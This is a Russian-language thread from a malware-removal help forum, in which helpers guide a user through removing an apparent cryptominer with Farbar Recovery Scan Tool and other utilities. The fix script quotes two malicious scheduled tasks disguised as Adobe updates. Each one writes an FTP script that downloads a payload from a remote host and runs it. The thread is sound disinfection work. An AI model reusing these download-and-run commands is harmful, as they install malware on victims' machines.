Решена Майнер поймал похоже

[goshanalmes]

Словил похоже майнер. Программы, браузер, игры, да и в целом винда стали тормозить. Dr Web Cureit выявил какой-то tool.btc что-то там вроде. Это особо не помогло и производительность лучше не стала.
Логи прикрепил ниже.

 

[thyrex]

Скачайте AV block remover.
Распакуйте, запустите и следуйте инструкциям. Если не запускается, переименуйте файл AVbr.exe в, например, AV-br.exe (или любое другое имя).
Как вариант, можно воспользоваться версией со случайным именем. Если и так не запускается, запустите его в безопасном режиме с поддержкой сети.

В результате работы утилиты появится отчёт AV_block_remove_дата-время.log, прикрепите его к следующему сообщению.

После перезагрузки системы соберите новый CollectionLog Автологером в обычном режиме загрузки.

 

[goshanalmes]

В AV логах два файла прикреплю, так как при первом использовании утилиты забыл антивирус выключить, поэтому на всякий случай прикрепил

 

[thyrex]

Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.

• Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan (Дополнительные опции) отмечены List BCD и 90 Days Files.
3. Нажмите кнопку Scan (Сканировать).
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Файлы FRST.txt и Addition.txt заархивируйте (в один общий архив) и прикрепите к сообщению.

 

[goshanalmes]

Готово

 

[thyrex]

1. Выделите следующий код и скопируйте в буфер обмена (правая кнопка мыши – Копировать)

Start::
CreateRestorePoint:
HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate: Ограничение <==== ВНИМАНИЕ
GroupPolicy: Ограничение ? <==== ВНИМАНИЕ
Policies: C:\ProgramData\NTUSER.pol: Ограничение <==== ВНИМАНИЕ
Task: {9F77857B-E229-4E8E-832F-3DC2457B12AC} - System32\Tasks\AdobeUpdateFlac => cmd /c echo open ftp2.ha7455h6fi1.net>>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get b.rar c:\windows\Adobeupdate.exe>>s&echo bye>>s&ftp -s:s&c:\windows\Adobeupdate.exe
Task: {352E6CA0-7314-4DF4-89C4-682368D80D57} - System32\Tasks\Microsoft\Windows\Workplace Join\Automatic-Workplace-Join => C:\WINDOWS\System32\AutoWorkplace.exe join (Нет файла)
Task: {2BCF4E03-9A62-417A-A9EE-FDAE220CA350} - System32\Tasks\Doctor Web\Dr.Web Daily scan => C:\Program Files\DrWeb\dwscanner.exe /full (Нет файла)
Task: {50E366C5-1E17-4B9B-B151-EE78C55064D1} - System32\Tasks\AdobeUpdateFlac2 => cmd /c echo open ftp2.webpublicservices.org>>ps&echo test>>ps&echo 1433>>ps&echo get c.rar c:\windows\help\AdobeFlac.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\AdobeFlac.exe
2022-08-24 14:20 - 2022-08-24 14:20 - 000000000 __SHD C:\ProgramData\WindowsTask
2022-08-24 14:20 - 2022-08-24 14:20 - 000000000 ____D C:\ProgramData\RunDLL
2022-08-24 14:20 - 2022-08-05 06:57 - 000000000 __SHD C:\ProgramData\RealtekHD
2022-08-24 14:15 - 2022-08-24 14:20 - 000001144 __RSH C:\ProgramData\ntuser.pol
FirewallRules: [UDP Query User{6F3624B2-8793-4278-BC20-4840138548D0}D:\need for speed heat\needforspeedheat.exe] => (Allow) D:\need for speed heat\needforspeedheat.exe => Нет файла
FirewallRules: [TCP Query User{E3A23FD4-BE80-4B75-B361-C83AB1CBC189}D:\need for speed heat\needforspeedheat.exe] => (Allow) D:\need for speed heat\needforspeedheat.exe => Нет файла
FirewallRules: [UDP Query User{8AEE7B76-B968-4D4E-BB1E-4382D870BE4B}D:\prey\binaries\danielle\x64\release\prey.exe] => (Allow) D:\prey\binaries\danielle\x64\release\prey.exe => Нет файла
FirewallRules: [TCP Query User{B43024BA-0638-4087-80AB-B93FB751BE8C}D:\prey\binaries\danielle\x64\release\prey.exe] => (Allow) D:\prey\binaries\danielle\x64\release\prey.exe => Нет файла
FirewallRules: [{B48781A1-3024-4A71-B83F-B091BCDE4201}] => (Allow) D:\SteamLibrary\steamapps\common\Total War WARHAMMER\launcher\launcher.exe => Нет файла
FirewallRules: [{FDEDD580-1148-4A3F-8DF6-35312936C109}] => (Allow) D:\SteamLibrary\steamapps\common\Total War WARHAMMER\launcher\launcher.exe => Нет файла
FirewallRules: [{2628E7BC-33CC-46BA-8C82-A91385002521}] => (Allow) D:\Orgin Games\STAR WARS Battlefront II\starwarsbattlefrontii.exe => Нет файла
FirewallRules: [{73F9E38E-019E-4CFF-AC7A-C81899BB6624}] => (Allow) D:\Orgin Games\STAR WARS Battlefront II\starwarsbattlefrontii.exe => Нет файла
FirewallRules: [{A733F994-8D21-441D-8C60-6403906C666C}] => (Allow) D:\Orgin Games\STAR WARS Battlefront II\starwarsbattlefrontii_trial.exe => Нет файла
FirewallRules: [{43E914B9-57FE-4230-9E21-5BE856828B36}] => (Allow) D:\Orgin Games\STAR WARS Battlefront II\starwarsbattlefrontii_trial.exe => Нет файла
FirewallRules: [{D45F71CA-3D6A-45B0-9B3E-146162F268C4}] => (Allow) D:\AssassinsCreedSyndicate\ACS.exe => Нет файла
FirewallRules: [UDP Query User{692AFDBF-0C15-487F-9C2F-FA0E31E75CC5}D:\star wars jedi fallen order\swgame\binaries\win64\starwarsjedifallenorder.exe] => (Allow) D:\star wars jedi fallen order\swgame\binaries\win64\starwarsjedifallenorder.exe => Нет файла
FirewallRules: [TCP Query User{633C3F08-56FC-47ED-B468-F6CA692EB55D}D:\star wars jedi fallen order\swgame\binaries\win64\starwarsjedifallenorder.exe] => (Allow) D:\star wars jedi fallen order\swgame\binaries\win64\starwarsjedifallenorder.exe => Нет файла
FirewallRules: [{CB414C01-8195-44BF-ABBC-29D17042428A}] => (Allow) C:\Program Files (x86)\Electronic Arts\BioWare\Star Wars - The Old Republic\launcher.exe => Нет файла
FirewallRules: [{AB119CD7-D73A-4287-BCC4-E5539C858FAD}] => (Allow) C:\Program Files (x86)\Electronic Arts\BioWare\Star Wars - The Old Republic\launcher.exe => Нет файла
FirewallRules: [{05992382-AB69-481E-B023-38B1B14465E3}] => (Allow) C:\Program Files (x86)\Electronic Arts\BioWare\Star Wars - The Old Republic\launcher.exe => Нет файла
FirewallRules: [{DA872C90-D7A5-4B7C-8322-6F7B546D5A35}] => (Allow) C:\Program Files (x86)\Electronic Arts\BioWare\Star Wars - The Old Republic\launcher.exe => Нет файла
FirewallRules: [UDP Query User{B730CE41-B3C4-42C2-9A1C-CEA4EE86BA99}C:\users\georgiy\appdata\local\gamecenter\gamecenter.exe] => (Block) C:\users\georgiy\appdata\local\gamecenter\gamecenter.exe => Нет файла
FirewallRules: [TCP Query User{EF2C3C0E-2BCF-4B0B-B1A4-9B2C06D734F8}C:\users\georgiy\appdata\local\gamecenter\gamecenter.exe] => (Block) C:\users\georgiy\appdata\local\gamecenter\gamecenter.exe => Нет файла
FirewallRules: [{CCE4A31E-CD8B-4D86-9999-551BFBDE6336}] => (Allow) D:\SteamLibrary\steamapps\common\Total War WARHAMMER\launcher\launcher.exe => Нет файла
FirewallRules: [{E03BDC8E-C693-44B3-B3CD-0BF8203DEAE9}] => (Allow) D:\SteamLibrary\steamapps\common\Total War WARHAMMER\launcher\launcher.exe => Нет файла
FirewallRules: [{3985A392-3E30-46A1-B47D-316622ED4FB5}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\outlook.exe => Нет файла
FirewallRules: [{255A4199-C0DA-4983-99A7-C8C15D605594}] => (Allow) D:\OriginGames\Battlefield V\bfv.exe => Нет файла
FirewallRules: [{5E10F708-DB2C-4A2E-B351-7E9EB8EE5B5D}] => (Allow) D:\OriginGames\Battlefield V\bfv.exe => Нет файла
FirewallRules: [{BE3E33AC-8897-4E4F-8E3F-370D092DA1EA}] => (Allow) D:\OriginGames\Battlefield V\bfvTrial.exe => Нет файла
FirewallRules: [{B6001141-0060-4A3E-9023-3FF2BACC0259}] => (Allow) D:\OriginGames\Battlefield V\bfvTrial.exe => Нет файла
FirewallRules: [{C636512A-9D97-493A-BB12-0B105B5E8D58}] => (Allow) D:\Assassin's Creed Unity RU\ACU.exe => Нет файла
FirewallRules: [{64FABEE8-B598-4BA6-A361-1252DC92D7AC}] => (Allow) D:\Assassin's Creed Unity RU\ACU.exe => Нет файла
FirewallRules: [UDP Query User{3B5C24A9-7F9A-4DD8-A0C8-902FCAE97E02}D:\dawn of war soulstorm ua thb\soulstorm.exe] => (Allow) D:\dawn of war soulstorm ua thb\soulstorm.exe => Нет файла
FirewallRules: [TCP Query User{E12AD902-1A6D-4AD1-BF52-937765A8E480}D:\dawn of war soulstorm ua thb\soulstorm.exe] => (Allow) D:\dawn of war soulstorm ua thb\soulstorm.exe => Нет файла
FirewallRules: [{D2080FF3-5FC4-441A-8E73-6EB9BB18AEF6}] => (Block) D:\call of duty modern warfare beta\modernwarfare.exe => Нет файла
FirewallRules: [{F5867CA2-F8B2-448C-9B42-D4FC52C5B8A7}] => (Block) D:\call of duty modern warfare beta\modernwarfare.exe => Нет файла
FirewallRules: [UDP Query User{BFE9F0C7-D7EF-4005-9B1A-E16BD8066079}D:\call of duty modern warfare beta\modernwarfare.exe] => (Allow) D:\call of duty modern warfare beta\modernwarfare.exe => Нет файла
FirewallRules: [TCP Query User{F4AE4100-0A7F-4DD0-A81A-F743E3D3EE29}D:\call of duty modern warfare beta\modernwarfare.exe] => (Allow) D:\call of duty modern warfare beta\modernwarfare.exe => Нет файла
FirewallRules: [{981855D0-5978-493C-BE27-278429757F1B}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe => Нет файла
FirewallRules: [{F590B98C-A5EB-4199-80B0-AC59E6EA4FFB}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe => Нет файла
FirewallRules: [TCP Query User{0A964B34-B7EA-403F-B68E-43CDDA31E475}C:\program files (x86)\steam\steamapps\common\doom\doomx64vk.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\doom\doomx64vk.exe => Нет файла
FirewallRules: [UDP Query User{BEDBA246-64EB-4384-ADFB-BD40ED0F1947}C:\program files (x86)\steam\steamapps\common\doom\doomx64vk.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\doom\doomx64vk.exe => Нет файла
FirewallRules: [TCP Query User{E8FBA495-5A9C-4EA6-9140-A1409BA64B70}C:\program files\java\jre1.8.0_151\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_151\bin\javaw.exe => Нет файла
FirewallRules: [UDP Query User{BD0C8C1C-BE38-4A7D-8A37-D81009DCBD11}C:\program files\java\jre1.8.0_151\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_151\bin\javaw.exe => Нет файла
FirewallRules: [{4203D39F-BCAD-4377-8461-E2110EC4D1D3}] => (Allow) C:\Program Files (x86)\BlueStacks\HD-Player.exe => Нет файла
FirewallRules: [{84E6B8DF-832E-4DE3-BA7F-A2469D127B9E}] => (Allow) C:\Program Files (x86)\Origin Games\Battlefield 1 Incursions Alpha\bf1.exe => Нет файла
FirewallRules: [{306D15B8-D816-404E-9AA1-E43D0B9EE3F7}] => (Allow) C:\Program Files (x86)\Origin Games\Battlefield 1 Incursions Alpha\bf1.exe => Нет файла
FirewallRules: [{5788F4AF-1B1B-49F6-84B5-4FE3F46EF70B}] => (Allow) D:\SteamLibrary\steamapps\common\Grand Theft Auto V\GTA5.exe => Нет файла
FirewallRules: [{99577A9B-42E2-4792-8BAF-8425C72D66A2}] => (Allow) D:\SteamLibrary\steamapps\common\Grand Theft Auto V\GTA5.exe => Нет файла
FirewallRules: [{4C3878E4-031C-4CD8-A3D4-6321A3DDAC55}] => (Allow) C:\Program Files (x86)\Origin Games\Battlefield V Closed Alpha\bfvca.exe => Нет файла
FirewallRules: [{01D342C9-E50F-4FD6-A422-037F42A60094}] => (Allow) C:\Program Files (x86)\Origin Games\Battlefield V Closed Alpha\bfvca.exe => Нет файла
FirewallRules: [{C175DF6C-550B-43C3-873D-759C0078528F}] => (Allow) D:\SteamLibrary\steamapps\common\Tom Clancy's Rainbow Six Siege\RainbowSix_BE.exe => Нет файла
FirewallRules: [{6F2F7879-0CD7-4C1B-8828-44A07177FAEC}] => (Allow) D:\SteamLibrary\steamapps\common\Tom Clancy's Rainbow Six Siege\RainbowSix_BE.exe => Нет файла
FirewallRules: [{7517E8DB-CBE8-4FB3-9DE4-9F37D82940F8}] => (Allow) D:\OriginGames\AnthemDemo\AnthemDemo.exe => Нет файла
FirewallRules: [{2F2FEC2C-AA3A-405E-A002-128AFDADBC64}] => (Allow) D:\OriginGames\AnthemDemo\AnthemDemo.exe => Нет файла
FirewallRules: [{4B5472FF-33FD-447C-9ABD-5FCECFA7296D}] => (Allow) D:\OriginGames\Battlefield 1\bf1Trial.exe => Нет файла
FirewallRules: [{369054AA-120A-41E3-9E38-7AADE4708D9B}] => (Allow) D:\OriginGames\Battlefield 1\bf1Trial.exe => Нет файла
FirewallRules: [{6A123B6E-45F2-4D0E-9B70-3E72C75B3D90}] => (Allow) D:\OriginGames\Battlefield 1\bf1.exe => Нет файла
FirewallRules: [{FD2021D9-241D-4AA1-AB51-A38DE88CF63D}] => (Allow) D:\OriginGames\Battlefield 1\bf1.exe => Нет файла
FirewallRules: [{BEE0EDA6-708F-4607-9224-82838670E90A}] => (Allow) D:\OriginGames\STAR WARS Battlefront II\starwarsbattlefrontii_trial.exe => Нет файла
FirewallRules: [{02171B13-B629-4576-9B5C-31D0E4E54BF1}] => (Allow) D:\OriginGames\STAR WARS Battlefront II\starwarsbattlefrontii_trial.exe => Нет файла
FirewallRules: [{69D8C08F-498D-46E8-ACAD-0F9A78AE53EC}] => (Allow) D:\OriginGames\STAR WARS Battlefront II\starwarsbattlefrontii.exe => Нет файла
FirewallRules: [{AD593AE6-157C-47B2-88A3-1C2A8F1F13DA}] => (Allow) D:\OriginGames\STAR WARS Battlefront II\starwarsbattlefrontii.exe => Нет файла
FirewallRules: [{62022CAB-84FC-4BD1-BFFD-4817B40662FA}] => (Allow) D:\SteamLibrary\steamapps\common\Borderlands_2_RU\Binaries\Win32\Launcher.exe => Нет файла
FirewallRules: [{F0F4062D-D54D-467C-A5C5-1FCD0D8565F7}] => (Allow) D:\SteamLibrary\steamapps\common\Borderlands_2_RU\Binaries\Win32\Launcher.exe => Нет файла
FirewallRules: [{ACB4FB0C-76B1-41E7-9FF5-FBB8F84AEE3C}] => (Allow) D:\Far Cry 5\bin\FarCry5.exe => Нет файла
FirewallRules: [{7EA0C3BB-B1AA-41AB-A972-2CF7D664AEF8}] => (Allow) D:\Far Cry 5\bin\ArcadeEditor64.exe => Нет файла
FirewallRules: [{6552A78C-6461-45AF-934C-5B96570BA439}] => (Allow) D:\Far Cry 5\bin\FarCry5.exe => Нет файла
FirewallRules: [{D5D11C0C-3656-45CF-98F5-2EDD1BCDC22D}] => (Allow) D:\Far Cry 5\bin\ArcadeEditor64.exe => Нет файла
FirewallRules: [{9915E505-8E18-4900-BCDB-93AA19A8121B}] => (Allow) D:\SteamLibrary\steamapps\common\Dark Souls II Scholar of the First Sin\Game\DarkSoulsII.exe => Нет файла
FirewallRules: [{74566929-CCB3-4C7B-95B8-D8D7C9FC44AA}] => (Allow) D:\SteamLibrary\steamapps\common\Dark Souls II Scholar of the First Sin\Game\DarkSoulsII.exe => Нет файла
FirewallRules: [{01B6680E-3886-4290-B4D5-F77B6B5BF542}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER\launcher\launcher.exe => Нет файла
FirewallRules: [{F81A3493-F3FE-4AFC-84E4-A9F4098EA293}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER\launcher\launcher.exe => Нет файла
FirewallRules: [TCP Query User{6CD86DA0-51D3-4712-90DE-3F80A6D8BD5F}Z:\steamlibrary\steamapps\common\total war warhammer ii\warhammer2.exe] => (Allow) Z:\steamlibrary\steamapps\common\total war warhammer ii\warhammer2.exe => Нет файла
FirewallRules: [UDP Query User{98F58A49-2AC5-438A-A538-0FCEA6BB5E30}Z:\steamlibrary\steamapps\common\total war warhammer ii\warhammer2.exe] => (Allow) Z:\steamlibrary\steamapps\common\total war warhammer ii\warhammer2.exe => Нет файла
FirewallRules: [TCP Query User{8B870108-BB5A-41C9-9D5E-6F44C38835EA}Z:\steamlibrary\steamapps\common\for honor\forhonor.exe] => (Allow) Z:\steamlibrary\steamapps\common\for honor\forhonor.exe => Нет файла
FirewallRules: [UDP Query User{786F945D-F57A-4DCD-AC8D-7149A245A32B}Z:\steamlibrary\steamapps\common\for honor\forhonor.exe] => (Allow) Z:\steamlibrary\steamapps\common\for honor\forhonor.exe => Нет файла
FirewallRules: [{A3062FEB-8FE5-4430-B363-08FBC18E7F1E}] => (Allow) Z:\SteamLibrary\steamapps\common\Dark Souls II Scholar of the First Sin\Game\DarkSoulsII.exe => Нет файла
FirewallRules: [{889849DC-4273-49E5-B7F2-ED7B7319FEB0}] => (Allow) Z:\SteamLibrary\steamapps\common\Dark Souls II Scholar of the First Sin\Game\DarkSoulsII.exe => Нет файла
FirewallRules: [{2B367573-D289-4FF8-A0BF-C968079EEF81}] => (Allow) Z:\SteamLibrary\steamapps\common\DARK SOULS REMASTERED\DarkSoulsRemastered.exe => Нет файла
FirewallRules: [{8BA0C10D-CCB4-4052-BBEF-4FC936339BB8}] => (Allow) Z:\SteamLibrary\steamapps\common\DARK SOULS REMASTERED\DarkSoulsRemastered.exe => Нет файла
FirewallRules: [{43825836-1C26-42C7-BE00-6CFA5360FA9E}] => (Allow) Z:\SteamLibrary\steamapps\common\Phasmophobia\Phasmophobia.exe () [Файл не подписан]
FirewallRules: [{347558B2-3427-4E85-AEFA-9A329AD9A26A}] => (Allow) Z:\SteamLibrary\steamapps\common\Phasmophobia\Phasmophobia.exe () [Файл не подписан]
FirewallRules: [TCP Query User{141EDA61-A75A-4507-A56F-7E3922A4F6A0}Z:\games\subnautica\subnautica.exe] => (Allow) Z:\games\subnautica\subnautica.exe => Нет файла
FirewallRules: [UDP Query User{315F4A7E-29A9-477A-B0C0-7411E7812722}Z:\games\subnautica\subnautica.exe] => (Allow) Z:\games\subnautica\subnautica.exe => Нет файла
FirewallRules: [{955391DD-4F92-462B-87EC-B7D3967233D4}] => (Allow) Z:\SteamLibrary\steamapps\common\Cube Racer\CubeRacer.exe => Нет файла
FirewallRules: [{A218AE19-A811-4F0F-9A30-F91C55239734}] => (Allow) Z:\SteamLibrary\steamapps\common\Cube Racer\CubeRacer.exe => Нет файла
FirewallRules: [TCP Query User{55371334-8E26-48AD-AE77-7BB272179813}Z:\the dark pictures little hope\smg024\binaries\win64\littlehope-win64-shipping.exe] => (Allow) Z:\the dark pictures little hope\smg024\binaries\win64\littlehope-win64-shipping.exe => Нет файла
FirewallRules: [UDP Query User{0CDDAD08-1E04-42FA-AEC1-9EC9E68A1A67}Z:\the dark pictures little hope\smg024\binaries\win64\littlehope-win64-shipping.exe] => (Allow) Z:\the dark pictures little hope\smg024\binaries\win64\littlehope-win64-shipping.exe => Нет файла
FirewallRules: [{949637DC-FC6E-4933-982F-E32AA8FE2DEF}] => (Block) Z:\the dark pictures little hope\smg024\binaries\win64\littlehope-win64-shipping.exe => Нет файла
FirewallRules: [{DA78529E-78C3-4A73-8EF5-567ACD34CD06}] => (Block) Z:\the dark pictures little hope\smg024\binaries\win64\littlehope-win64-shipping.exe => Нет файла
FirewallRules: [{9F046E8B-2E22-40E3-A6FC-E191CF9F3BEE}] => (Allow) Z:\Games\Assassin's Creed Unity RU\ACU.exe => Нет файла
FirewallRules: [{927A717D-F6B6-45B2-917B-33046EE6D1F7}] => (Allow) Z:\Games\Assassin's Creed Unity RU\ACU.exe => Нет файла
FirewallRules: [{8E75F8B7-3B54-4CC9-BEBC-127DE7418F05}] => (Allow) Z:\Games\Assassin's Creed Unity RU\ACU.exe => Нет файла
FirewallRules: [{0D67FE63-153D-41AB-AD24-947249DF4D63}] => (Allow) Z:\Games\Assassin's Creed Unity RU\ACU.exe => Нет файла
FirewallRules: [{33523867-D785-48F0-98BB-3E9A46C89DDD}] => (Allow) Z:\SteamLibrary\steamapps\common\Sea of Thieves\Athena\Binaries\Win64\SoTGame.exe => Нет файла
FirewallRules: [{46F5B033-FC85-431F-A52E-0391C37D5EC3}] => (Allow) Z:\SteamLibrary\steamapps\common\Sea of Thieves\Athena\Binaries\Win64\SoTGame.exe => Нет файла
FirewallRules: [TCP Query User{1C673881-D49A-4336-A39C-01CC7E0D2C96}Z:\games\киберпук\cyberpunk.2077.gog.rip-insaneramzes\cyberpunk 2077\bin\x64\cyberpunk2077.exe] => (Allow) Z:\games\киберпук\cyberpunk.2077.gog.rip-insaneramzes\cyberpunk 2077\bin\x64\cyberpunk2077.exe => Нет файла
FirewallRules: [UDP Query User{222AD487-92CA-489A-B6AD-06D21EFFCFCE}Z:\games\киберпук\cyberpunk.2077.gog.rip-insaneramzes\cyberpunk 2077\bin\x64\cyberpunk2077.exe] => (Allow) Z:\games\киберпук\cyberpunk.2077.gog.rip-insaneramzes\cyberpunk 2077\bin\x64\cyberpunk2077.exe => Нет файла
FirewallRules: [{671AAD13-710D-415E-894F-B46220C07D60}] => (Block) Z:\games\киберпук\cyberpunk.2077.gog.rip-insaneramzes\cyberpunk 2077\bin\x64\cyberpunk2077.exe => Нет файла
FirewallRules: [{E1322BDD-F997-4E02-99A0-0F6B6D3444EC}] => (Block) Z:\games\киберпук\cyberpunk.2077.gog.rip-insaneramzes\cyberpunk 2077\bin\x64\cyberpunk2077.exe => Нет файла
FirewallRules: [TCP Query User{31EFFC6F-749D-4D88-9CEC-AC072BE37637}C:\program files\java\jre1.8.0_251\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Нет файла
FirewallRules: [UDP Query User{737690FB-B10F-40A8-BEF8-CC10933011CE}C:\program files\java\jre1.8.0_251\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Нет файла
FirewallRules: [{13F08C72-5512-4652-A557-DF2EF4FEE6D6}] => (Block) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Нет файла
FirewallRules: [{F6F331CF-E120-4E72-A188-ED262CA7A9CE}] => (Block) C:\program files\java\jre1.8.0_251\bin\javaw.exe => Нет файла
FirewallRules: [TCP Query User{E6646F14-3D31-47D5-87E3-A9480C153609}Z:\huita\plarium\plariumplay\standaloneapps\raid\233\raid.exe] => (Allow) Z:\huita\plarium\plariumplay\standaloneapps\raid\233\raid.exe => Нет файла
FirewallRules: [UDP Query User{CF6F08FA-14CA-423D-9D28-55147BE72FC8}Z:\huita\plarium\plariumplay\standaloneapps\raid\233\raid.exe] => (Allow) Z:\huita\plarium\plariumplay\standaloneapps\raid\233\raid.exe => Нет файла
FirewallRules: [TCP Query User{A5C5E0CC-44D4-4F04-BF90-A85A48A33641}Z:\steamlibrary\steamapps\common\war thunder\win64\aces.exe] => (Allow) Z:\steamlibrary\steamapps\common\war thunder\win64\aces.exe => Нет файла
FirewallRules: [UDP Query User{C378401B-37B3-46B9-B686-E7A8F282B144}Z:\steamlibrary\steamapps\common\war thunder\win64\aces.exe] => (Allow) Z:\steamlibrary\steamapps\common\war thunder\win64\aces.exe => Нет файла
FirewallRules: [{BA1A4BF8-7B39-4D7C-9949-D7D91C294F7F}] => (Block) Z:\steamlibrary\steamapps\common\war thunder\win64\aces.exe => Нет файла
FirewallRules: [{8FA53D1E-2C1B-4BCF-A3A3-9E1CDB06E913}] => (Block) Z:\steamlibrary\steamapps\common\war thunder\win64\aces.exe => Нет файла
FirewallRules: [{F9999BF8-A234-49BE-8F3F-EB6B6C4536FA}] => (Allow) Z:\SteamLibrary\steamapps\common\Century Playtest\Century.exe => Нет файла
FirewallRules: [{F35D1724-F303-44DC-B996-1C912F973E19}] => (Allow) Z:\SteamLibrary\steamapps\common\Century Playtest\Century.exe => Нет файла
FirewallRules: [{D3B400F4-4877-480B-A707-20F6F1C8A010}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER II\launcher\launcher.exe => Нет файла
FirewallRules: [{7D3758D8-7FFF-4A9B-99D6-B912449BD1D3}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER II\launcher\launcher.exe => Нет файла
FirewallRules: [{8D53D3C5-A7D1-461E-B32C-7E57EDD93EBA}] => (Allow) D:\SteamLibrary\steamapps\common\Divinity Original Sin 2\bin\SupportTool.exe => Нет файла
FirewallRules: [{3F158389-2D8A-403C-8838-4592B96D2C3C}] => (Allow) D:\SteamLibrary\steamapps\common\Divinity Original Sin 2\bin\SupportTool.exe => Нет файла
FirewallRules: [{CE5A3EC8-2BCA-4289-8AD7-5D87A85C22ED}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER\assembly_kit\binaries\BOB.AssemblyKit.exe => Нет файла
FirewallRules: [{B2A2B74B-7C15-4A15-A824-580FE2B584CE}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER\assembly_kit\binaries\BOB.AssemblyKit.exe => Нет файла
FirewallRules: [{114653B5-9773-4834-BC5C-F62999643513}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER\assembly_kit\binaries\TWeak.AssemblyKit.exe => Нет файла
FirewallRules: [{1378A304-3ED3-4FAE-8EEF-426873C56D28}] => (Allow) Z:\SteamLibrary\steamapps\common\Total War WARHAMMER\assembly_kit\binaries\TWeak.AssemblyKit.exe => Нет файла
FirewallRules: [TCP Query User{686A0C97-14B9-4FA3-8F7F-13F50F09B1F9}C:\program files\java\jre1.8.0_301\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_301\bin\javaw.exe => Нет файла
FirewallRules: [UDP Query User{9DECE190-F049-4CB1-AD5D-EEC53622DD96}C:\program files\java\jre1.8.0_301\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_301\bin\javaw.exe => Нет файла
FirewallRules: [{58714837-9766-443D-A513-7C80FEC97299}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\ELDEN RING\Game\start_protected_game.exe => Нет файла
FirewallRules: [{58213BAA-A70B-4802-94E0-D56DCBE75445}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\ELDEN RING\Game\start_protected_game.exe => Нет файла
FirewallRules: [{5CAF2BBC-0328-45D5-AD32-B57B67CB3CC2}] => (Allow) C:\Program Files\DrWeb\dwservice.exe => Нет файла
FirewallRules: [{AA0557CA-015A-492D-BC39-93AD5B0BF0E8}] => (Allow) C:\Program Files\DrWeb\spideragent.exe => Нет файла
FirewallRules: [{E0756DC7-9049-4F65-A132-EF3BC7077C8F}] => (Allow) C:\Program Files\DrWeb\dwnetfilter.exe => Нет файла
Reboot:
End::

2. Запустите Farbar Recovery Scan Tool от имени Администратора по правой кнопке мыши.
3. Нажмите один раз на кнопку Fix (Исправить) и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

• Обратите внимание: будет выполнена перезагрузка компьютера.

 

[goshanalmes]

Сделал

 

[thyrex]

Проблема решена?

 

[goshanalmes]

Вроде решена, если что-то мало ли всплывет опять, напишу по новой. Спасибо!

 

[thyrex]

Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе.

• Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши Запустить от имени администратора (если Вы используете Windows Vista/7/8/10/11);
• Если увидите предупреждение от вашего фаервола относительно программы SecurityCheck, не блокируйте ее работу;
• Дождитесь окончания сканирования, откроется лог в Блокноте с именем SecurityCheck.txt;
• Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например C:\SecurityCheck\SecurityCheck.txt;
• Прикрепите этот файл в своем следующем сообщении.

 

[goshanalmes]

Вот

 

[akok]

Исправьте по возможности
---------------------------- [ Antivirus_WMI ] ----------------------------
Dr.Web Security Space (выключен и устарел)
---------------------- [ AntiVirusFirewallInstall ] -----------------------
Malwarebytes version 4.5.7.186 v.4.5.7.186 Внимание! Скачать обновления
--------------------------- [ OtherUtilities ] ----------------------------
Python 2.7.18 (64-bit) v.2.7.18150 Внимание! Скачать обновления
NVIDIA GeForce Experience 3.25.0.84 v.3.25.0.84 Внимание! Скачать обновления
GPL Ghostscript v.9.19 Внимание! Скачать обновления
^Удалите старую версию, скачайте и установите новую.^
Notepad++ (32-bit x86) v.8.1.4 Внимание! Скачать обновления
Ghostscript GPL 8.64 (Msi Setup) v.8.64 Внимание! Скачать обновления
^Удалите старую версию, скачайте и установите новую.^
OpenOffice 4.1.6 v.4.16.9790 Внимание! Скачать обновления
------------------------------- [ Backup ] --------------------------------
Яндекс.Диск v.3.2.12.4249 Внимание! Скачать обновления
------------------------------ [ ArchAndFM ] ------------------------------
Total Commander 64-bit (Remove or Repair) v.9.22a Внимание! Скачать обновления
WinRAR 5.40 (64-bit) v.5.40.0 Внимание! Скачать обновления
------------------------------- [ Imaging ] -------------------------------
GIMP 2.8.22 v.2.8.22 Внимание! Скачать обновления
paint.net v.4.2.15 Внимание! Скачать обновления
-------------------------- [ IMAndCollaborate ] ---------------------------
Cisco Webex Meetings v.41.7.1 Внимание! Скачать обновления
Discord v.0.0.309 Внимание! Скачать обновления
Zoom v.5.11.1 (6602) Внимание! Скачать обновления
Skype, версия 8.21 v.8.21 Внимание! Скачать обновления
--------------------------------- [ P2P ] ---------------------------------
